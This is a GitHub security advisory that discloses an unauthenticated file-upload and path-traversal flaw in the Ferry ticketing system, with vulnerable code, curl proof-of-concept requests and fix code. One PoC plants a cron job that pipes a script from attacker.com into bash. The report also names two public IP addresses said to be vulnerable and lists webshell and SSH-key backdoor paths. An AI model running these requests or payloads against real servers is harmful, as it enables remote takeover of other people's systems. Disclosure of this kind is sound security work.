Skip to content

[Security] CWE-434: Unauthenticated Arbitrary File Upload + Path Traversal #342

@zuohuijia

Description

@zuohuijia

[Security] CWE-434: Unauthenticated Arbitrary File Upload + Path Traversal in Ferry

Summary

Ferry (lanyulei/ferry) contains an unauthenticated arbitrary file upload vulnerability (CWE-434) that, combined with path traversal in filename handling, allows remote attackers to write arbitrary files to any location on the server filesystem.

  • Affected Component: POST /api/v1/public/uploadFile
  • Severity: Critical (CVSS 3.1: 9.8)
  • Authentication Required: None
  • Affected Versions: All current versions (up to latest master)

Root Cause

1. No Authentication on Upload Endpoint

The upload endpoint is registered under the public router group with zero authentication middleware:

// router/system/sys_router.go
func registerPublicRouter(v1 *gin.RouterGroup) {
    p := v1.Group("/public")        // <- no auth middleware
    {
        p.POST("/uploadFile", public.UploadFile)
    }
}

2. Unsanitized Filename → Path Traversal

The user-supplied files.Filename is concatenated directly into the save path without any filtering:

// apis/public/file.go — UploadFile()
files, err := c.FormFile("file")

// VULNERABILITY: files.Filename is directly from user input, no sanitization
singleFile := saveFilePath + guid + "-" + files.Filename
_ = c.SaveUploadedFile(files, singleFile)

An attacker can set filename=../../../etc/cron.d/malicious to write files to arbitrary directories.

3. No File Extension Restrictions

Any file type can be uploaded (.php, .jsp, .exe, .sh, .html, .js, etc.).

Proof of Concept

PoC 1: Unauthenticated File Upload

curl -v -X POST \
  "http://TARGET:8002/api/v1/public/uploadFile?file_type=files" \
  -F "file=@evil.html;filename=evil.html;type=text/html" \
  -F "type=1"

Response: {"code":200,"data":"http://TARGET/static/uploadfile/files/<guid>-evil.html","msg":"Upload Success"}

Note: -v output shows no Cookie/Authorization/Token headers required.

PoC 2: Path Traversal (Arbitrary File Write)

curl -v -X POST \
  "http://TARGET:8002/api/v1/public/uploadFile?file_type=files" \
  -F "file=@payload;filename=../../../etc/cron.d/evil;type=text/plain" \
  -F "type=1"

The ../ is preserved: {"data":".../static/uploadfile/files/<guid>-../../../etc/cron.d/evil"}

Go's SaveUploadedFile resolves the path → file written to /etc/cron.d/evil.

PoC 3: Cron Job Injection → RCE

# Create malicious cron file
echo '* * * * * root /bin/bash -c "curl -s http://attacker.com/shell.sh|bash"' > evil_cron

# Upload via path traversal
curl -X POST \
  "http://TARGET:8002/api/v1/public/uploadFile?file_type=files" \
  -F "file=@evil_cron;filename=../../../etc/cron.d/evil;type=text/plain" \
  -F "type=1"

The cron daemon parses and executes the uploaded file content every minute.

Verified Public Instances

The following publicly accessible instances were confirmed vulnerable (2026-06-04):

Target Server Path Traversal PHP Upload
36.7.159.184:8001 nginx ../ preserved
124.16.143.132 nginx/1.18.0 ⚠️ filtered

Exploitation Vectors (Server-Side Content Parsing)

Through path traversal, uploaded file content is parsed and executed by system daemons:

Attack Target Path Parser Impact
Cron injection ../../../etc/cron.d/evil crond RCE (root, every minute)
SSH backdoor ../../../root/.ssh/authorized_keys sshd Persistent SSH access
Login script ../../../etc/profile.d/evil.sh bash RCE on user login
PHP webshell ../../../var/www/html/shell.php PHP-FPM/mod_php RCE (if PHP configured)
Config overwrite ../../config/settings.yml viper (Go YAML) App compromise

CVSS 3.1 Score: 9.8 (Critical)

Metric Value
Attack Vector (AV) Network
Attack Complexity (AC) Low
Privileges Required (PR) None
User Interaction (UI) None
Scope (S) Unchanged
Confidentiality (C) High
Integrity (I) High
Availability (A) High

Fix Recommendations

// 1. Add authentication middleware
// router/system/sys_router.go
func registerPublicRouter(v1 *gin.RouterGroup) {
    p := v1.Group("/public")
    {
        // REMOVE: p.POST("/uploadFile", public.UploadFile)
        // MOVE to authenticated group
    }
}

// 2. Sanitize filename — filter path traversal
func sanitizeFilename(name string) string {
    // Remove path separators
    name = filepath.Base(name)
    // Remove null bytes
    name = strings.ReplaceAll(name, "\x00", "")
    // Remove path traversal
    name = strings.ReplaceAll(name, "..", "")
    name = strings.ReplaceAll(name, "/", "")
    name = strings.ReplaceAll(name, "\\", "")
    return name
}

// 3. Use random filenames, ignore user-supplied filename entirely
singleFile := saveFilePath + guid + filepath.Ext(files.Filename)
//                                        ^^^^^^^^^^^^^^^^^^^^^^^^
//                    Only preserve extension, not the full filename

// 4. Add file extension whitelist
allowedExts := map[string]bool{".jpg": true, ".png": true, ".pdf": true, ".doc": true}
if !allowedExts[strings.ToLower(filepath.Ext(files.Filename))] {
    app.Error(c, -1, errors.New(""), "File type not allowed")
    return
}

Timeline

  • 2026-05-30: Vulnerability discovered
  • 2026-06-04: Verified on public instances, PoC developed
  • 2026-06-04: Report filed

Contact

If you need more details or have questions about this report, please reply to this issue.


This report follows responsible disclosure practices. The vulnerability details and PoC are provided to assist with fixing the issue.
[

cnvd-report.zip

](url)

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions